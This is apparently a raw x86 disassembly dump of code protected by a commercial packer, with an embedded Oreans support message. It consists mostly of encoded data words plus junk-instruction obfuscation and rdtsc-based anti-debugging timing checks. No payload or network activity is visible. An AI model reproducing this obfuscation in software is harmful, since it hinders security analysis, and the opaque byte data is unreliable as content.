		dd 0CD60437h, 50717CAAh, 0C9DFDCA2h, 0BB6CE216h, 9075A9D6h
		dd 2059F62Ah, 7B558C8h,	1C32F6AEh, 305D7AF0h, 0FC1D610Fh
		dd 2BA11320h, 8DFD558Eh, 0E58FBBEAh, 0B00CE83Eh, 3E38E613h
		dd 4019C609h, 0F4D27CAh, 266741E4h, 0D5BB62FFh,	523B6C97h
		dd 216F7568h, 2126D29h,	35750000h, 0CF0BF10Eh, 609D83A0h
		dd 0F32E1431h, 7FBDA3C0h, 0AF333754h, 7D9AC503h, 122F5697h
		dd 0A5C2ED2Ch, 355285BFh, 95D98768h, 19132568h,	84C2E2C0h
		dd 0E00F3C59h, 8BC97299h, 0B7683260h, 0BB69C2E0h, 16C954FBh
		dd 0CF2B8D03h, 0E2C86590h, 0F8D275A8h, 4BF28FBAh, 5588C21Dh
		dd 739CD8B2h, 78A60837h, 955911AEh, 0D20B285Bh,	0A4D3107Ah
		dd 0A74AAC76h, 321CB0F9h, 97D6461Ch, 0D1253E6Ch, 0EF0E6891h
		dd 7CAA0C6Eh, 2032DEE4h, 6DE32413h, 0EC74C7D5h,	204EB039h
		dd 1AF1F5Ch, 1320E9BDh,	3B69CB41h, 0E93C8230h, 4CC21320h
		dd 6F2F46E3h, 9D0E6708h, 452620F3h, 48EDh, 176FB300h, 295604A7h
		dd 751C3200h, 0F497CA05h, 20300046h, 0B6188E13h, 0D0FB3913h
		dd 833BD8A2h, 2030D7EBh, 0AD872013h, 0AAE54170h, 0D0A5DA77h
		dd 26FD35DBh, 2B2B45h, 0C3F20000h, 0EF2D6705h, 1BCC96C4h
		dd 9A37C265h, 1AD5EE6Ch, 0C5E616C9h, 0C91A5717h, 44E15716h
		dd 0A043B30Bh, 31F77DF2h, 6E8B011Ch, 0AD176F40h, 47113F72h
		dd 2B9442E5h, 731C3219h, 0B37CFFDh, 6C13201Bh, 4204B2D3h
		dd 4C13201Bh, 710439D6h, 0A6D512ECh, 0D2662A09h, 2F7A4526h
		dd 40000000h, 0C91AD4EEh, 0D00DE716h, 0CA973A1h, 680B7BD3h
		dd 31F725BAh, 0C504DE1Ch, 641BFD9Ah, 2038F0B6h,	0E588FE13h
		dd 20387737h, 9F017713h, 0A17B5482h, 0D3023F60h, 4B79DBA5h
		dd 53ABE481h, 7C9240E3h, 0C21C3565h, 205A1E4Ch,	0B0EAD0EDh
		dd 0B7194483h, 66A47E89h, 0A6430D3Bh, 7A3A70ECh, 92B7F62Fh
		dd 2EF82655h, 9FDA9ECCh, 15397D2Bh, 4FC52768h, 51EEBFEDh
		dd 0CB8B3924h, 0D3276815h, 3255FB5Dh, 0F4276143h, 0D387751h
		dd 0A9E3C970h, 49844876h, 5D997316h, 9936002Eh,	0EF86FDE1h
		dd 2B487BB5h, 0A2DE0B45h, 197B4573h, 11BFE0EBh,	2768154Dh
		dd 457FDB51h, 7D1AE412h, 39Fh, 33A1DF00h, 2D5B82C2h, 0CEFC2F69h
		dd 72A0CB0Ah, 18466DAEh, 0BDEB1654h, 6290BBF9h,	230639Eh
		dd 0A4D2013Eh, 4775A4E0h, 5E545686h, 4C681h, 0EE830000h
		dd 24348704h, 7DEE685Ch, 14890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	edx, 71BC412Eh
		push	edi
		mov	edi, 19E5142Bh
		and	edx, edi
		pop	edi
		sub	edx, 0BB7A95Bh
		push	58CAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, edx
		mov	[ecx+8], esi
		pop	esi
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5461C3
; ---------------------------------------------------------------------------
		db 0D1h, 9Ah, 9Eh
		dd 25F5DFAFh, 84B8C573h, 305EC74h, 9E0FFC5h, 0A240C3D7h
		dd 93513716h, 85547F4Ch, 0E6034197h, 0EC34664Eh, 155B7EC7h
		dd 8E0F7968h, 4E4EE7D6h, 5A26DB6Dh, 0CD3A7D39h,	937B82CAh
		dd 9E04ED13h, 0E61A578Ch, 0E83CE7B5h, 11h, 0A394FEE4h
		dd 0AC0BDE99h, 0AC536221h, 5C0D3FA9h, 665EF9E2h, 0C681CF8Bh
		dd 7082h, 108478BBh, 1BE5682Dh,	0FE80000h, 59000000h, 59783F6Eh
		dd 3B37CCFCh, 818D6BFAh, 810F6DCFh, 0Ch, 6E8h, 0C93C3600h
		dd 589032D3h, 55BB5A59h, 8B72AC55h, 9840F3Eh, 60000000h
		dd 880FFCh, 61000000h, 7216F781h, 8A0F321Fh, 2,	0C781C28Bh
		dd 49F002B9h, 6E9h, 0B8519100h,	81099FC2h, 0BB9B5FEFh
		dd 89E18A4Ch, 0DA5ABB3Eh, 0EE831E78h, 14E904h, 573E0000h
		dd 81B1E5A1h, 3BDE090Bh, 0F65FF8B3h, 1F813DD8h,	0F4A06E1h
		dd 1485h, 38E900h, 0F22E0000h, 0CFB581B3h, 0BC876E51h
		dd 0C1FC3C1Bh, 10E9D0h,	3B9C0000h, 0C0D46CA9h, 3D65FCC0h
		dd 995766CCh, 70E9A71Ah, 0CDFFFFFFh, 0D4B823F3h, 0B706692Ch
		dd 0F1A20792h, 0E98AA9h, 4, 33000000h, 69206E41h, 7265746Eh
		dd 206C616Eh, 65637865h, 6F697470h, 636F206Eh, 65727563h
		dd 41282064h, 65726464h, 203A7373h, 78257830h, 500D0A29h
		dd 7361656Ch, 63202C65h, 61746E6Fh, 73207463h, 6F707075h
		dd 6F407472h, 6E616572h, 6F632E73h, 54202E6Dh, 6B6E6168h
		dd 756F7920h, 21h, 0E3h	dup(0)
		dd 56000000h, 45000000h, 0
		dd 0E9000000h, 1338h, 0E850006Ah, 3, 58C35820h,	4244489h
		dd 4244481h, 17h, 55C35040h, 0F93FEDBAh, 21D5858Bh, 6A05E9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0A09DDAC3h, 60030007h, 39BD89F8h, 6105E917h,	0FE9h
		dd 0EF7D5700h, 1B1CDCDDh, 0A522B05Ch, 4D4106Ch,	4244439h
		dd 65850Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 140424h, 52420000h, 0BD092EC3h, 5E93179h, 0E09BD83h
		dd 0F0005E9h, 3684h, 1BD3100h, 8D05E91Fh, 0E939CF85h, 0E0FFF805h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 6CC35545h
		dd 0FCC0C0D4h, 0B5B58965h, 8B05E904h, 0E9003985h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0C9E15873h, 0A440FA8Eh, 6E9FBh, 0BD860000h, 6EC90121h
		dd 4244439h, 62850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0DEF25BC3h, 853160AEh
		dd 5E91739h, 61FE8B66h,	18F0Fh,	0C7FC0000h, 0EC7A4685h
		dd 105h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0BEE2659Bh, 8D898193h, 5E90DB9h
		dd 10E960h, 0DDFD0000h,	0BD9CA592h, 4E2349CFh, 4FB50155h
		dd 24E96AA3h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 2FCFC351h, 0F8C349h
		dd 0B8000000h, 1, 7BFE8587h, 0C00B05ECh, 0B5FFF675h, 5E90EE5h
		dd 7A3E858Fh, 206A05ECh, 95FFFF6Ah, 5E92675h, 2695BD83h
		dd 740005E9h, 0FF006A08h, 0E91E9595h, 95BD8305h, 105E930h
		dd 80680D74h, 6A000000h, 7595FFFFh, 6A05E926h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0E4FCC353h, 347D5A5Eh, 9E9F8FCh, 0AF000000h,	9911BB35h
		dd 74129B8Ch, 0D8E0Fh, 8E90000h, 7000000h, 0AE7CB40Dh
		dd 2B063BA3h, 548BF5C0h, 6A2824h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0FC42E7C3h, 18B0Fh, 89FC0000h
		dd 0E9310585h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 4DCA0B6Ch, 33BA60D2h
		dd 953ECBBh, 0E902BD95h, 3CBE6105h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 1159C350h, 0BB52E8AFh, 6850Fh, 0BD090000h, 5E90C99h
		dd 24247403h, 2B319589h, 0AD6605E9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 8C35747h, 2B001F9Ah, 0CC5DF68Ah
		dd 24440306h, 81666024h, 8BFBD1D2h, 0E907B585h,	8B606105h
		dd 0E9112595h, 45BD8B05h, 6105E918h, 8E950h, 77350000h
		dd 0E0E00893h, 4892708h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 4DAAD48Eh, 896088B2h
		dd 0E92741B5h, 8B665705h, 0F6159CBh, 682h, 0CD958900h
		dd 8B05E90Dh, 6A7840h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0DA5B6BC3h, 1AFAE887h, 83F8FCF8h
		dd 0EC7A46BDh, 850F0005h, 191h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 19C35747h, 0D4437422h, 0EAA99109h
		dd 0F50F527h, 1F83h, 19880F00h,	0E9000000h, 14h, 0D27F99A2h
		dd 0A9B5B3E6h, 86D2DF96h, 0DF3B7A58h, 92AEDDA1h, 6A240489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0F4DC357h, 0A83h,	5E900h,	282E0000h, 0E9CDD0A1h
		dd 0Bh,	0A1C07BADh, 0F786DB78h,	8B92F0FBh, 6A2C2444h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0FA5C355h, 0AAABFA7Bh, 0F9024FAh, 1284h, 0F525000h
		dd 81h,	50310F00h, 5A310F52h, 50585A58h, 56605250h, 8E85Fh
		dd 0A6130000h, 6E14BD4Bh, 6158340Ch, 840F310Fh,	0Dh, 8E9h
		dd 1DEB0C00h, 0B651E7B6h, 90585AC3h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 36C35242h, 0E0778C35h, 0C850Fh
		dd 880F0000h, 6, 0FF99589h, 10E905E9h, 0E4000000h, 73BE425Fh
		dd 0E48D7414h, 1A3D5389h, 8DA50503h, 0EC484785h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0FA9C6CD1h, 6AD0FFF9h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 79FDC350h, 0F0816660h
		dd 0B58B8822h, 5E907D5h, 24440361h, 408BF528h, 51006A18h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 6806803Bh, 0B46D18A0h, 8589A29Ch, 5E924D5h, 55BD3140h
		dd 8905E90Bh, 0EC7A4285h, 108B0F05h, 0E9000000h, 0Bh, 430B93E8h
		dd 0C9FDEF9Dh, 58949252h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 54C35242h, 0C663337h,	0D0A030ACh, 890F6032h
		dd 6, 25558D89h, 0E96105E9h, 0Ch, 0FDF98DF3h, 0BFEE7B63h
		dd 8880236h, 6A78708Bh,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 6D24C352h, 891CC683h
		dd 0E9076D8Dh, 80609605h, 6EBA43D2h, 61157EB8h,	24247C81h
		dd 10000000h, 114870Fh,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 3974D0C3h, 606090F8h
		dd 0C88BDE8Bh, 58505761h, 5050615Eh, 2880F52h, 60000000h
		dd 0E9310F61h, 0Fh, 0AD59BB3Dh,	0CCA54284h, 1E53946Eh
		dd 5AB21610h, 33609058h, 0E9129DB5h, 0F9BD8B05h, 6105E900h
		dd 2824448Bh, 19219D29h, 505005E9h, 9E952h, 341A0000h
		dd 1328E0C0h, 0F244735h, 5E536031h, 5A61F88Bh, 24048958h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 8BC35747h
		dd 0C35B52C8h, 7A4BCE2h, 18F0F14h, 0F5000000h, 858DF8F9h
		dd 5EC4847h, 0DE9h, 8BEAA500h, 38E55E09h, 6EEA86C4h, 0D0FFEC0Ah
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 82C35747h
		dd 0C78155CEh, 7D4815FEh, 8870Fh, 0F600000h, 0BF0FC7B7h
		dd 0F6061F7h, 68Ch, 35952B00h, 105E923h, 0E930998Dh, 6A966105h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 60FFC352h, 5F3DB452h, 10659D8Bh, 36105E9h
		dd 6A242474h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 51B1C352h, 37165F58h, 1BFBC055h
		dd 298D8960h, 0F05E932h, 8D61D2BFh, 0E91E61BDh,	53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0B86509D0h, 0CE94536h, 0DA000000h, 7436998Bh, 0E44F20B7h
		dd 0F9F14443h, 0F98D89ADh, 8105E906h, 24247Ch, 0F100000h
		dd 13C87h, 6830F00h, 89000000h,	0E92D2185h, 52509005h
		dd 52505250h, 585A310Fh, 8C0F310Fh, 0
		dd 310F585Ah, 5E960h, 0ABCE0000h, 0BFB7EB3Eh, 372375A9h
		dd 50585A61h, 8A0F5250h, 2, 310F6160h, 810F60h,	0E9000000h
		dd 13h,	1954B584h, 6875CBBFh, 0AFBE4649h, 9E73687Fh, 61F1A4C6h
		dd 0E990585Ah, 0Dh, 49DEA71Ch, 3DDC8C2Ch, 554D1FFDh, 24448B0Eh
		dd 52006A28h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0B5A3D097h, 10E919h, 0DB910000h,	734AE749h
		dd 4ECA9260h, 268152DEh, 858916ABh, 5E90479h, 8E990h, 85E00000h
		dd 7B027D5h, 6050E890h,	8B665250h, 0B9310FDEh, 5424EE31h
		dd 9061585Ah, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	0C3C35747h, 0C8D0Fh, 800F0000h,	6, 810Fh, 858D0000h
		dd 5EC4847h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	40C35242h, 0C810Fh, 8F0F0000h, 6, 17B99D89h, 0D0FF05E9h
		dd 244403F8h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 9D8984A3h, 5E92645h, 158D2960h, 8905E90Dh
		dd 0E91CC19Dh, 0F9AB6105h, 0FA81h, 820F0001h, 7D0h, 99BD8DF9h
		dd 0E905E919h, 11h, 9BF943C7h, 0BE0C1889h, 0C3958815h
		dd 64D7BDF4h, 8E9D9h, 20320000h, 61E8F430h, 6AAD0B2Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0C843C353h, 94280B7Ah, 0D9B589A5h, 6005E903h
		dd 1E05BD8Bh, 0B70F05E9h, 7C8161CAh, 2424h, 870F1000h
		dd 182h, 9E9h, 0D0B3B300h, 669B002Fh, 0F903E64h, 1883h
		dd 13E900h, 645D0000h, 6A9A85AFh, 0DC81CBBh, 8A7F013Fh
		dd 7B110D12h, 60605054h, 0CBD447BEh, 0AE84Fh, 10310000h
		dd 12F24723h, 5C5FDE05h, 9E9615Fh, 0A9000000h, 0AFABC5A7h
		dd 0B2B82162h, 6A9061h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 8B9A8CC3h, 0EE6F0FD9h, 160482Bh
		dd 0E906BDB5h, 68E0F05h, 0F000000h, 8Dh, 14E96100h, 0C1000000h
		dd 452290E1h, 72B2DFB6h, 861F7020h, 0FB18AE43h,	8B3AC373h
		dd 89282444h, 0E904DD8Dh, 52509005h, 6850Fh, 8D0F0000h
		dd 0
		dd 5250310Fh, 13E9h, 76FCDB00h,	304CD9h, 0DDA731D2h, 6EC1F284h
		dd 92FF0277h, 5250310Fh, 585A310Fh, 585A585Ah, 52506050h
		dd 0FDA8B66h, 0F18B6631h, 5660585Ah, 0F525058h,	61585A31h
		dd 8DF89061h, 0EC484785h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0BB337A20h
		dd 0FFC4627h, 1B8Ah, 15810F00h,	0E9000000h, 10h, 6621085Ah
		dd 943B7952h, 0C67742EEh, 0EF143C73h, 6AD0FFh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8B60BFC3h, 0E91299BDh, 0D38B6605h, 8E961h, 67E40000h
		dd 0B215088Eh, 4403B020h, 89602424h, 0E930459Dh, 6DB58B05h
		dd 6105E923h, 0E9525090h, 0Eh, 32FC3777h, 2D276873h, 1BEE5FE0h
		dd 310F51D6h, 860F5250h, 0
		dd 7E9310Fh, 0A0000000h, 0B1D03522h, 585A4F06h,	6050585Ah
		dd 6E9h, 0D4A5DA00h, 500E941Bh,	0F5E5352h, 13E831h, 53130000h
		dd 8B0E26Fh, 10966097h,	1F6BFCDEh, 0A7004B2Bh, 585A58A2h
		dd 6A9061h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0E59F4EC3h, 0F9B7CAFh, 68Ch, 9D858900h, 0AB05E92Ah
		dd 1DCD8D09h, 0BD8D05E9h, 5E91669h, 13E9h, 306CC500h, 0D39078E0h
		dd 63EB2AEBh, 0D9E148C9h, 3B3AC915h, 52006AADh,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 12A4F46h, 0E921DD95h
		dd 247C8105h, 28h, 0C9870F10h, 0F000000h, 685h,	8D8D0900h
		dd 5005E91Eh, 880F5250h, 2, 310F6160h, 7E9h, 0F03F3600h
		dd 0A1895216h, 489585Ah, 19D3124h, 8B05E909h, 0F2C2444h
		dd 183h, 0E990F900h, 0Fh, 4E014CF8h, 0E27EE82Bh, 1CFFAC69h
		dd 504A0BECh, 0E8E0Fh, 52500000h, 310F6160h, 310F5250h
		dd 585A585Ah, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0B63C7537h, 0D9CD1800h, 0ADB58929h
		dd 3105E906h, 0E9102DBDh, 858DF905h, 5EC4847h, 88A0Fh
		dd 840F0000h, 2, 60606160h, 7E9h, 45CB6F00h, 0F5637705h
		dd 799D8961h, 6105E926h, 9529D0FFh, 5E91749h, 28244403h
		dd 1CC1BD29h, 29AB05E9h, 0E921D9BDh, 8DFF5E05h,	5EC7A42h
		dd 7A42BD83h, 750005ECh, 8DC0330Ah, 0EC8AD8B5h,	56E6FF05h
		dd 247C81ADh, 28h, 500E7710h, 2C24448Bh, 47858D50h, 0FF05EC48h
		dd 244403D0h, 0DF8B9728h, 7A3E858Ah, 0C08405ECh, 73A0474h
		dd 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh,	0C033D18Bh
		dd 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h
		dd 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h
		dd 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h
		dd 85FF04C6h, 5E93105h,	0FFFF5DE9h, 95295EFFh, 5E91DFDh
		dd 8BF56060h, 0E9033195h, 0BF0F6105h, 858B61C7h, 5E93105h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 3CC35545h
		dd 0A98509B0h, 0F05E903h, 680h,	81B58900h, 0D105E925h
		dd 0EA8060E0h, 0ED1CBED6h, 3612FCAh, 0E9166985h, 0BEF905h
		dd 0F8000000h, 7820F96h, 0F000000h, 187h, 0AD66F800h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 75C35646h, 0FE67330h
		dd 684h, 79B50100h, 0C105E90Fh,	6A02E0h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0E0B10C3h
		dd 42CE39F6h, 60102D17h, 75F9C681h, 0F2816655h,	23DACFF3h
		dd 61850361h, 6A05E91Eh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 1A55C355h, 8F768AABh
		dd 8E9h, 79B14D00h, 0A8E50E98h,	0EE996F0h, 5000000h, 4FCDDE03h
		dd 0AA95E9ABh, 0C78C25A4h, 6AADF583h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 79EC353h
		dd 81FFAF3Eh, 24247Ch, 0F100000h, 15887h, 6800F00h, 89000000h
		dd 0E90B019Dh, 830F9005h, 12h, 52505250h, 585A310Fh, 8D0F310Fh
		dd 0
		dd 0E950585Ah, 14h, 8B17B017h, 419464A4h, 0CB95C06Fh, 0ECF67B0Bh
		dd 38971045h, 0D860F90h, 0E9000000h, 8,	36E62F86h, 23BBEFEBh
		dd 2824448Bh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 18h,	58C35141h, 750DCE4Ah, 13E9h, 0DC27E100h, 0A5B2584Eh
		dd 55E297Ch, 7E3C7D92h,	0E41B04EEh, 128B0F90h, 50000000h
		dd 840F52h, 0F000000h, 0F525031h, 5A585A31h, 0E9605058h
		dd 11h,	1DDD234h, 39C0A36Dh, 0BB053120h, 34D295C1h, 0BE818h
		dd 36FF0000h, 0A3BB6F42h, 615DDDB6h, 0DE98Ah, 0FCAC0000h
		dd 0DA7B2FD1h, 0D7D37CA7h, 5ECA6EAAh, 6A9061h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 977508C3h, 48027647h, 14840Fh, 8B600000h, 0E903E585h
		dd 6E805h, 9C360000h, 21FFE7A4h, 858D6158h, 5EC4847h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0CBC35646h, 0FD0FFF8h
		dd 688h, 0CDB53100h, 905E916h, 0E90221BDh, 24440305h, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 7D505AD3h, 7003D762h, 9D89F2F8h, 5E90819h, 244489F5h
		dd 85C6F51Ch, 5E90EE5h,	0FE85C700h, 5EC7Bh, 0C7000000h
		dd 0EC7A4685h, 5, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0F542CCD9h, 1D699509h
		dd 6A05E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0F8FC6AC3h, 53006A61h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 3126D616h
		dd 0E92DC18Dh, 0C5BD8905h, 0C205E919h, 0BD310008h, 5E91045h
		dd 1E61858Bh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 7777C9C3h, 65BD09F5h, 4A05E916h
		dd 2729B589h, 0D26B05E9h, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 5E9EAECh, 0F0000000h
		dd 602E08A1h, 60F9C203h, 0C64ED381h, 9D8964FFh,	5E906ADh
		dd 0ADF59661h, 1FBB6660h, 6840F8Dh, 89000000h, 0E90CFD95h
		dd 7C816105h, 2424h, 870F1000h,	159h, 0BE9h, 93998E00h
		dd 995C92AAh, 0EDF2B8E1h, 11890Fh, 0CE90000h, 7B000000h
		dd 1D1D90C2h, 0DA98F548h, 9066FE26h, 0FE95250h,	65000000h
		dd 0AD4AE1BBh, 42427B77h, 0DFAD6283h, 310F1D63h, 9E960h
		dd 0D16C0000h, 0A967A53Fh, 66774B10h, 6132ADBEh, 5050585Ah
		dd 6850F52h, 0F000000h,	84h, 50310F00h,	9E952h,	5E7D0000h
		dd 7C7AFB31h, 0FB1ADB4h, 11E931h, 135A0000h, 9B96CD2Fh
		dd 0CB2411ACh, 0F60AF8D8h, 5A881DDDh, 90585A58h, 30598589h
		dd 448B05E9h, 66602824h, 61067BBEh, 8830F50h, 0F000000h
		dd 28Ah, 89616000h, 6A2404h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0CAD85DC3h, 0EE8F960h
		dd 33000000h, 8CB8AB20h, 2B97C9E8h, 11E45583h, 99B5898Ch
		dd 5E05E90Ch, 47858D61h, 6A05EC48h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0DBF1C356h
		dd 6009E5E9h, 8B6610B5h, 0D0FF61F7h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 1EC35242h, 0EEB9D738h, 5325150Dh
		dd 0E8B0F19h, 0E9000000h, 9, 8543E2Ah, 0E7FE09EBh, 0FD4BE9A9h
		dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 9F84E8C3h, 4866279Bh, 31852914h, 0FC05E916h
		dd 904B858Dh, 0B52905ECh, 5E92AADh, 50525050h, 0F525052h
		dd 0F585A31h, 14E931h, 0C13A0000h, 0BF7BF266h, 786099FDh
		dd 0AD18E010h, 609CD20Dh, 585A1965h, 5060310Fh,	5A310F52h
		dd 61616058h, 489585Ah,	0BE924h, 698E0000h, 0A38CC120h
		dd 7115B111h, 35FF6448h, 0
		dd 81DF8060h, 24048B61h, 8810Fh, 81600000h, 6CEB18C8h
		dd 8589613Bh, 5E90ACDh,	30659529h, 896405E9h, 25h, 858DF800h
		dd 5EC8E82h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	2DC35747h, 309640FCh, 8E9EAh, 0E30B0000h, 7A1299DFh
		dd 6089690Dh, 55006A01h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 1BFD2161h, 17A79B1Fh, 0A18D8938h
		dd 0E905E91Ch, 205h, 0E8DB8BFCh, 0
		dd 7BED815Dh, 0BC05EC8Eh, 12FF9Ch, 3095BD83h, 740005E9h
		dd 55858B18h, 0C605E930h, 858B0000h, 5E92FD9h, 0FF0000C6h
		dd 0E9176195h, 0B5FF6005h, 5EC764Ah, 764E858Dh,	8D5005ECh
		dd 0EC784685h, 95FF5005h, 5E903A5h, 610CC483h, 88A0Fh
		dd 850F0000h, 2, 6A6160h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 4B5718C3h, 0F870Fh, 0AE90000h
		dd 9D000000h, 0B5632F1h, 6346E4A4h, 46B58D7Ah, 0F05EC78h
		dd 0C83h, 6830F00h, 0F000000h, 86h, 0D9BD8D00h,	6A05E913h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 295BC357h, 0E927F98Dh, 3E8005h, 65840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 11E90FC3h, 8B000000h, 0D0CB9C6Bh,	14B54477h
		dd 605376A6h, 75489DB2h, 50006AA4h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0C2ACD66Ch, 9D89A18Bh
		dd 5E91F45h, 0FFFF98E9h, 0D19509FFh, 2B05E923h,	0B70F60C0h
		dd 6800FD1h, 81000000h,	0F484BEE2h, 6AAA615Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0B8A4C357h, 7B8h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0F5BE4970h, 66D85C7h
		dd 105E9h, 9D890000h, 5E92579h,	4E6D8D8Dh, 0FFF805E9h
		dd 55006AE1h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 46421761h, 9529FCA1h, 5E92715h, 0C245C8Bh
		dd 0E855h, 815D0000h, 0EC9055EDh, 0B8838B05h, 89000000h
		dd 0EC764A85h, 74858D05h, 8905EC8Eh, 0B883h, 0C0335D00h
		dd 12840FC3h, 0E9000000h, 0Dh, 0F8AFAF8h, 4726F596h, 107B5DDFh
		dd 56006A0Dh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0E9A7E244h, 0Eh,	0C224027Ah, 18DDD3h, 27ED122Ah
		dd 6A60E558h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0E704C355h, 19858D9Fh,	6A05EC93h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
